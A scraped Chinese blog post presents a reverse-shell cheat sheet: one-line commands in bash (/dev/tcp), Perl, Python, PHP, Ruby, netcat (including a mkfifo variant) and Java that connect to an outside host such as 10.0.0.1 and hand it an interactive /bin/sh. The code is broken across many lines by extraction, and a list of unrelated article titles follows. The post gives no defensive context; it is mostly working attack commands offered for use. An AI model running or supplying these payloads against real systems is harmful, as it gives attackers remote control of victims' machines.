博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
反弹shell的几种方法
阅读量:4139 次
发布时间:2019-05-25

本文共 1163 字,大约阅读时间需要 3 分钟。

bash版本:
1
bash
-i >&
/dev/tcp/10
.0.0.1
/8080
0>&1

 

,注意某些linux不支持
 
perl版本:
 
1
2
3
4
5
perl -e '
use
Socket;
$i
=
"10.0.0.1"
;
$p
=1234;
socket
(S,PF_INET,SOCK_STREAM,
getprotobyname
(
"tcp"
));
if
(
connect
(S,sockaddr_in(
$p
,inet_aton(
$i
)))){
open
(STDIN,
">&S"
);
open
(STDOUT,
">&S"
);
open
(STDERR,
">&S"
);
exec
(
"/bin/sh -i"
);};'

 

python版本:
 
1
2
3
python
-
c '
import
socket,subprocess,os;s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((
"10.0.0.1"
,
1234
));os.dup2(s.fileno(),
0
); os.dup2(s.fileno(),
1
);
os.dup2(s.fileno(),
2
);p
=
subprocess.call([
"/bin/sh"
,
"-i"
]);'

 

php版本:
 
1
php -r
'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby版本:
 
1
2
ruby -rsocket -e'f=TCPSocket.open(
"10.0.0.1"
,
1234
).to_i;
exec sprintf(
"/bin/sh -i <&%d >&%d 2>&%d"
,f,f,f)'
nc版本:
 
1
2
3
4
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|
nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

 

java版本
 
1
2
3
4
r = Runtime.getRuntime()
p = r.exec([
"/bin/bash"
,
"-c"
,"exec
5
<>/dev/tcp/
10.0
.
0.1
/
2002
;cat
 
<&
5
|
while
read line;
do
\$line
2
>&
5
>&
5
; done"] as String[])
p.waitFor()

 

转载地址:http://inhvi.baihongyu.com/

你可能感兴趣的文章
僵尸进程示例分析------顺便说说linux中的wait和waitpid
查看>>
linux fork多进程并发服务器模型之C/C++代码实战
查看>>
linux accept函数与三次握手没有半毛钱的关系------三次握手可能发生在调用accept函数之前
查看>>
用php代码获取机器的ip地址
查看>>
g++: cannot specify -o with -c or -S with multiple files 和nm: test.o: File format not reco 的原因和解决方案
查看>>
nm: test.o: File format not recognized的原因和解决方案
查看>>
libtest.a: could not read symbols: Archive has no index; run ranlib to add one的原因和解决方案
查看>>
线程其实很简单
查看>>
别把&和nohup混为一谈, 根本不是同一个东西好不好 ------ 聊聊./a.out & , nohut ./a.out , nohup ./a.out &的区别
查看>>
守护进程(daemon)很简单------第一次玩setsid函数
查看>>
用linux下的daemon函数来玩守护进程------类似于nohup ./a.out &
查看>>
php和apache其实没有什么关系
查看>>
PHP的四种运行模式
查看>>
PHP——底层运行机制与原理
查看>>
so库又一次遇到 undefined symbol------ldd, nm, c++filt命令大显身手
查看>>
历经漫长的跟踪、排查、对比、推动和验证, 终于在8个月后,解决了这个bug
查看>>
linux下如何清空一个文件?
查看>>
小技巧:打印log时, 多了一个感叹号, 至少节省了1-2个小时!------又来说strings
查看>>
最近又遇到一个RST, 一眼就看出来了!
查看>>
为什么这个函数的返回值是-1, 浪费我10-20分钟? ------小心宏中return
查看>>